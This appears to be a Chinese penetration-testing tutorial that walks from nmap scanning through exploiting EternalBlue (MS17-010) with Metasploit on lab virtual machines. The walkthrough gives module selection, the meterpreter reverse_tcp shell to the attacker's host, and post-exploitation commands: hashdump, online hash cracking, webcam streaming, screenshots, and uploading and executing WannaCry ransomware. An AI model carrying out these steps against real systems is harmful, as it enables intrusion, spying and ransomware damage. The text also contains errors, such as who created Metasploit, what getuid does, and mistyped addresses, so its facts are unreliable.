知识点:SMB漏洞介绍、漏洞复现流程、勒索病毒攻击与防护
渗透测试相关:
基本概念:
渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!
相关阶段如下:范围界定—>信息搜集—>目标识别—>服务枚举(爆破—>漏洞映射—>社会工程学(撞库))—>漏洞利用—>权限提升—>访问维护—>文档报告
渗透测试分为 白盒测试 和 黑盒测试
白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
信息获取阶段:
IP地址:在不同的操作系统中,获取IP地址的方法各有不同。以下是一些常见操作系统中获取IP地址的基本命令:
-
Windows:
- 打开命令提示符(cmd)或PowerShell。
- 输入
ipconfig
命令,这将列出所有网络适配器的IP地址。
-
macOS 和 Linux:
- 打开终端。
- 输入
ifconfig
或ip addr
命令,这将显示所有网络接口及其IP地址。
上图为Win11操作系统下:IPv4 地址是本机在局域网中使用的地址,用于局域网内的设备通信,表示本机地址为172.16.130.128
这些信息表明,该设备(用户名为zhaoheqian)正在使用Kali Linux操作系统,并且至少有一个以太网接口eth0连接到局域网中。IPv4地址172.16.130.129是动态分配的,并且有一个本地回环地址127.0.0.1用于本机内部通信。IPv6地址是链路本地地址,用于局域网内的设备自动配置地址。
使用ping命令可以链接对方主机(此处的win与kali均为虚拟机演示),例如用Windows去ping 172.16.130.129(Linux机地址)可以连通,反之也可,从回显信息中还可以看出一些其他信息,在此处暂时不做过多介绍。
NMAP扫描器:
手动识别工作量大且效率低,所以我们引入了NMAP漏洞扫描器
Nmap(Network Mapper)是一款功能强大的网络扫描工具,它被广泛用于网络发现和安全审核。以下是Nmap的一些主要功能和使用方式:
1. **主机发现**:Nmap可以通过发送网络探测包来确定网络中活跃的主机,这有助于识别哪些IP地址上有活动的设备。
2. **端口扫描**:Nmap可以扫描目标主机的开放端口,帮助确定哪些服务正在运行。它支持多种扫描技术,例如TCP扫描、UDP扫描、SYN/ACK扫描等。
3. **服务识别**:Nmap能够识别目标主机上运行的具体服务和应用程序的版本号,这有助于了解可能存在的漏洞和弱点。
4. **操作系统检测**:Nmap尝试检测目标主机的操作系统类型和版本,为渗透测试提供信息。
5. **脚本扫描**:Nmap支持脚本扫描,允许用户执行自定义脚本以进行深入的信息收集和安全审计。
6. **版本检测**:Nmap可以检测目标系统上运行的服务的版本信息,有助于确定可能存在的已知漏洞和安全问题。
7. **输出格式**:Nmap可以生成多种输出格式,包括文本、XML、JSON等,便于进一步分析和报告。
在使用Nmap时,应该遵循适用的法律和道德准则,确保合法和合规的使用。例如,进行快速扫描可以使用命令 `nmap <IP地址>`,而扫描存活主机但不扫描端口可以使用 `nmap -sP <IP地址>/<子网掩码>`。
Nmap的使用非常灵活,它提供了多种参数和选项来定制扫描过程,例如使用 `-p` 参数来指定端口,或者使用不同的扫描技术如 `-sS`(TCP SYN扫描)和 `-sT`(TCP connect扫描)。
此外,Nmap还具备绕过防火墙和欺骗技术,例如使用 `-D` 参数来掩盖真实IP地址,或者使用 `--spoof-mac` 来伪装MAC地址。
nmap -sP //用ping扫描主机是否存活,只有主机存活,nmap才会继续扫描
nmap -p //扫描端口,通过端口去确定服务
nmap查看主机是否存活
现在我们来逐步分析这些地址:
127.16.130.1表示我们本机,不用理会
127.16.130.2表示网关,同样不用理会
127.16.130.254是自带的,不用理会
除去这三个,还剩下一个129,一个128,我们Linux虚拟机是129,所以我们推测,还有一台主机地址为128(上一步我们也确实验证了Win系统的ip为128),这便是我们展开攻击的第一步:推测ip地址
这是在虚拟机模拟的情况,现实中很可能远远不止一台主机,那么在现实中,我们就需要一个一个的去测试ip,接下来,再来看看如何去测试我们的“怀疑目标”。
nmap扫描端口
进行Ping扫描
查看端口和共享
网络连接状态 (netstat -an
)
-
监听端口:
- 系统上有几个端口正在监听状态(LISTENING),这表明有服务正在等待连接。这些端口包括:
- 80:通常用于HTTP服务。
- 135:用于远程过程调用(RPC)。
- 443:通常用于HTTPS服务。
- 445:用于SMB(Server Message Block)协议,可能与文件共享和“永恒之蓝”漏洞相关。
- 3306:通常是MySQL数据库服务的默认端口。
- 5040:可能与某些应用程序的远程管理相关。
- 7680:可能是某个特定应用程序的自定义端口。
- 49664、49665、49666、49667、49669、49672:这些看起来像是随机或特定应用程序使用的高端口号。
- 系统上有几个端口正在监听状态(LISTENING),这表明有服务正在等待连接。这些端口包括:
-
本地回环地址(Loopback):
- 127.0.0.1:本地回环地址,用于本机内部通信。有几个TCP连接在本地地址之间建立(ESTABLISHED),这可能是系统服务或应用程序的内部通信。
-
外部连接:
- 172.16.130.128:139:在端口139上监听,这是用于NetBIOS会话服务的端口,可能与文件和打印共享相关。
- 有多个TIME_WAIT状态的连接,这表明之前与外部地址(如123.6.53.19和60.6.194.138)的TCP连接已经完成,但系统仍在等待足够的时间以确保所有重复的连接请求都已超时。
网络共享资源 (net share
)
-
默认共享:
C$
:默认的C盘共享,通常用于管理员远程访问。D$
:默认的D盘共享,如果存在D盘的话。
-
特殊共享:
ADMIN$
:允许远程管理访问C:\Windows目录。IPC$
:Inter-Process Communication,用于进程间通信。
-
共享资源:
- 显示了共享名、资源路径和注解。例如,
C:
表示C盘的默认共享,通常用于文件共享
- 显示了共享名、资源路径和注解。例如,
通过以上我们得知,我们磁盘上的资源其实通过网络已经全部默认共享出去了,这也是为什么永恒之蓝破坏性巨大,虽然经过这么多年的改善,后续的windows系统已经对永恒之蓝有了一定抵抗性,但我们并不能因此掉以轻心。
恶意病毒:
"永恒之蓝"(EternalBlue)是一个在2017年被泄露的微软Windows操作系统的网络漏洞利用工具。它最初是由美国国家安全局(NSA)开发,作为其网络武器库的一部分。EternalBlue利用了Windows操作系统中的SMB(Server Message Block)协议的漏洞,允许攻击者在无需用户交互的情况下远程执行代码。
以下是关于"永恒之蓝"的一些关键点:
1. **漏洞编号**:CVE-2017-0144
2. **影响系统**:主要影响Windows操作系统,包括Windows Vista、Windows 7、Windows 8.1和Windows 10等版本。
3. **漏洞原理**:SMB协议在处理特定类型的网络数据包时存在内存管理缺陷,攻击者可以利用这一点来执行任意代码。
4. **泄露情况**:2017年4月,一个名为“影子经纪人”(Shadow Brokers)的黑客组织泄露了NSA的多个网络武器,其中就包括EternalBlue。
5. **利用情况**:EternalBlue被用于2017年5月的“WannaCry”勒索软件攻击,这是一次全球性的网络攻击事件,影响了超过150个国家的数十万台计算机。
6. **防护措施**:微软在漏洞被公开后不久就发布了安全补丁,用户应确保操作系统及时更新,安装所有安全补丁。
"永恒之蓝"是一个经典的0 day漏洞,给用户安全造成了巨大损失
MSF使用:
MSF通常指的是Metasploit Framework(简称Metasploit),这是一个开源的漏洞利用框架,由Raphael Mudge创建,目前由Rapid7公司维护。Metasploit Framework是网络安全专业人员和渗透测试人员广泛使用的工具,用于识别、开发和执行漏洞利用代码。
以下是Metasploit Framework的一些关键特点:
1. **模块化设计**:MSF采用模块化架构,包括漏洞模块、有效载荷(Payloads)、编码器(Encoders)、NOP生成器等。
2. **漏洞利用**:MSF拥有大量的漏洞利用模块,可以针对不同操作系统和应用程序的已知漏洞进行攻击。
3. **跨平台**:Metasploit Framework支持多个操作系统,包括Windows、Linux、macOS等。
4. **脚本语言**:MSF使用Ruby语言编写,易于扩展和定制。
5. **数据库集成**:MSF可以与数据库系统集成,用于存储攻击数据、会话信息和漏洞信息。
6. **自动化**:MSF支持自动化的漏洞扫描和利用过程,可以快速识别和利用目标系统的弱点。
7. **社区支持**:Metasploit拥有一个活跃的社区,不断有新的漏洞模块和有效载荷被添加到框架中。
8. **合法使用**:Metasploit Framework是一个合法的工具,应在授权的渗透测试和安全评估中使用,未经授权使用MSF进行攻击是违法的。
9. **教育和研究**:MSF也是教育和研究网络安全的好工具,帮助学生和研究人员了解漏洞利用的工作原理。
10. **兼容性**:MSF与其他安全工具和框架兼容,可以作为更大安全解决方案的一部分。
Metasploit Framework是一个强大的工具,但它需要具备一定的技术知识和对网络安全的深刻理解。使用MSF时,必须遵守法律法规,确保在授权的范围内使用。
1)kali中使用msfconsole开启msf,看到图标后表示开启成功
-
开启图标可能不同,均为正常启动
2)成功运行msf后,我们就可以从中找出一些有用的参考信息:
1. **用户和主机信息**:
- `zhaohegian@kali: - 102x24` 表示当前登录的用户是 `zhaohegian`,使用的主机是 `kali`,而 `- 102x24` 表示终端窗口的大小是102行24列。
2. **命令行提示符**:
- `: $` 表示当前用户是普通用户(没有root权限),`$` 是普通用户的命令行提示符。
3. **Nmap命令**:
- `nmap -os` 可能是之前执行的命令,用于检测目标系统的操作系统。但该命令在截图中不完整,可能是被截断或未执行。
4. **Metasploit Framework版本信息**:
- `metasploit v6.3.55-dev` 显示当前运行的Metasploit Framework的版本是6.3.55,是一个开发版本。
5. **模块统计信息**:
- `2397 exploits - 1235 auxiliary - 422 post` 表示Metasploit中包含2397个漏洞利用模块、1235个辅助模块(POC)和422个后期利用模块。
- `1388 payloads - 46 encoders - 11 nops` 表示有1388个攻击载荷(反弹shell,爆破等)、46个编码器和11个NOP滑梯。
6. **规避技术**:
- `9 evasion` 表示有9种规避技术可用于绕过某些安全机制。
7. **Metasploit文档链接**:
- `Metasploit Documentation: https://docs.metasploit.com/` 提供了Metasploit的官方文档链接,供用户查阅更多信息。
8. **Metasploit命令提示符**:
- `msf6 >` 是Metasploit的命令提示符,表示Metasploit已经启动并等待用户输入命令。
3)search ms17-010(MS17-010即我们之前提到的永恒之蓝漏洞编号) 搜索漏洞编号,查询关于该漏洞的相关模块
使用Metasploit Framework(MSF)进行模块搜索的结果,特别是针对“ms17-010”这个漏洞的模块。以下是对搜索结果的分析:
1. **模块列表**:搜索结果显示了几个与MS17-010漏洞相关的Metasploit模块。
2. **模块详情**:
- **Name**:模块的名称。
- **Disclosure Date**:漏洞公开的日期。
- **Rank**:模块的等级,通常表示其稳定性和可靠性。等级有average(平均)、normal(正常)、great(优秀)等。
- **Check**:表明模块是否具备检测目标系统是否易受攻击的能力。
- **Description**:模块的简短描述。
3. **具体模块**:
- **0 exploit/windows/smb/ms17_010_eternalblue**:这是利用MS17-010漏洞的EternalBlue攻击模块,等级为“average”,具备检测能力。
- **1 exploit/windows/smb/ms17_010_psexec**:这是利用MS17-010漏洞进行远程代码执行的模块,包括EternalRomance、EternalSynergy和EternalChampion,等级为“normal”,具备检测能力。
- **2 auxiliary/admin/smb/ms17_o1o_command**:这是一个辅助模块,用于在利用MS17-010漏洞后执行远程命令,等级为“normal”,不具备检测能力。
- **3 auxiliary/scanner/smb/smb_ms17_010**:这是一个扫描模块,用于检测SMB远程代码执行漏洞,等级为“normal”,不具备检测能力。
- **4 exploit/windows/smb/smb_doublepulsar_rce**:这是利用SMB DOUBLEPULSAR的远程代码执行模块,等级为“great”,具备检测能力。
4. **使用方式**:您可以使用模块名称或索引号与模块交互。例如,要获取更多关于索引号4的模块信息,可以使用命令`info 4`,或者直接使用模块路径`use exploit/windows/smb/smb_doublepulsar_rce`。
5. **注意事项**:
- 使用这些模块时,您应该确保有适当的权限和授权,因为它们可能被用于渗透测试或攻击性安全测试。
- 这些模块针对的是老旧且未打补丁的系统,因此,对于已经更新和修补了MS17-010漏洞的系统,这些模块将不会有效。
6. **MS17-010**:这是一个严重的Windows SMB服务漏洞,曾被利用于WannaCry勒索软件攻击。它允许攻击者在远程Windows系统上执行任意代码。
4)开始验证扫描
使用 search
命令搜索特定的漏洞或模块,例如 search ms17_010
来查找与MS17-010漏洞相关的模块
msf6 > search ms17-010
根据搜索结果,选择一个适合的模块。使用 use
命令来加载模块,例如:
msf6 > use exploit/windows/smb/ms17_010_psexec或者 use auxiliary/scanner/smb/smb_ms17_010
或者使用模块的索引号,例如:
use 0
use 4
以下是对当前Metasploit Framework(MSF)会话的分析:
1. **模块使用**:
- 用户选择了索引为0的模块,根据之前的信息,该模块是`exploit/windows/smb/ms17_010_eternalblue`,用于利用MS17-010漏洞。
2. **模块默认配置**:
- 模块没有配置有效载荷(payload),因此默认使用了`windows/x64/meterpreter/reverse_tcp`,这是一个Windows 64位系统的Meterpreter反向TCP有效载荷。
3. **模块选项**:
- 显示了模块的当前配置选项,包括:
- `RHOSTS`:需要设置的目标主机,目前尚未设置。
- `RPORT`:目标端口设置为445,这是SMB服务的默认端口。
- `SMBDomain`:可选的Windows域,用于认证。
- `SMBPass`:指定用户名的密码,目前未设置。
- `SMBUser`:用于认证的用户名,目前未设置。
- `VERIFY_ARCH`和`VERIFY_TARGET`:这两个选项当前设置为`true`,表示模块会在尝试利用之前验证远程架构和操作系统是否与目标匹配。
我们可以在这里设置我们要进行渗透攻击的主机地址,在这里我重新选择了一个版本较低的win系统(因为经过测试,win11系统已经克服了许多漏洞,不利于实验展示,所以我们这里选择win7,原理是一样的)
使用永恒之蓝攻击虚拟机,这里显示没有payload,默认帮我们安装了一个,可以手动设置payload,这里默认为反弹shell
安装好payload后,LHOST为本机,LPORT为4444,即默认监听,反弹shell,这两个属性同样可以使用set设置。
这里我们run一下,从回显中读到了“VULNERABLE”这个词,这表明我们所攻击的主机是脆弱的,可攻击的。
如果攻击成功,靶机会和目标主机之间建立一个连接,后续命令变为meterpreter,即在此时,我们已经取得了目标主机的权限,可以使用各种命令去查看目标主机的信息,如使用ipconfig查看目标主机的地址信息等。注意此时,我们的命令应变为Windows的cmd下的命令格式,shell已经成为win系统。
这样,我们就可以执行诸多操作,上传,下载文件等等等等。使用hashdump甚至可以获得哈希函数加密后的用户密码。(可以进行解密,哈希加密并非完全不可逆)
后渗透
后渗透活动通常涉及在成功渗透目标系统后的一系列行动,目的是维持访问权限、收集信息或进一步控制系统。
1. **提升权限** (`getuid`):
- 这个命令用于在成功渗透后提升权限到系统最高权限,通常是管理员权限。
2. **转储密码哈希** (`hashdump`):
- 使用此命令可以转储Windows系统中存储的密码哈希值,这可以用于离线破解密码。
3. **破解NTLM哈希值**:
- 文档提到了使用在线服务(如www.cmd5.com)来尝试破解获取的NTLM哈希值。
4. **截取屏幕** (`screenshot`):
- 通过这个命令可以截取目标系统的屏幕,以收集视觉信息。
5. **访问摄像头** (`webcam_list`, `webcam_stream`):
- `webcam_list` 可以列出目标系统上所有可用的摄像头设备。
- `webcam_stream` 可以启动对指定摄像头的实时视频流。
6. **查看文件** (`cat`):
- 使用类似Unix的 `cat` 命令来查看目标系统上特定文件的内容,例如 `cat d:123.txt` 会显示该文本文件的内容。
7. **勒索病毒操作**:
- 文档描述了勒索病毒的操作流程,包括解压病毒文件、上传到目标系统并执行。这通常涉及以下步骤:
- 解压勒索病毒工具包。
- 使用 `upload` 命令将病毒程序上传到目标系统。
- 使用 `execute -f wcry.exe` 执行上传的勒索病毒程序,或者通过已获取的shell启动病毒程序。
8. **执行命令** (`execute`):
- 使用 `execute` 命令在目标系统上执行特定的程序或命令。
9. **获取Shell**:
- 如果已经获得了目标系统的shell访问权限,可以直接在shell环境中执行命令。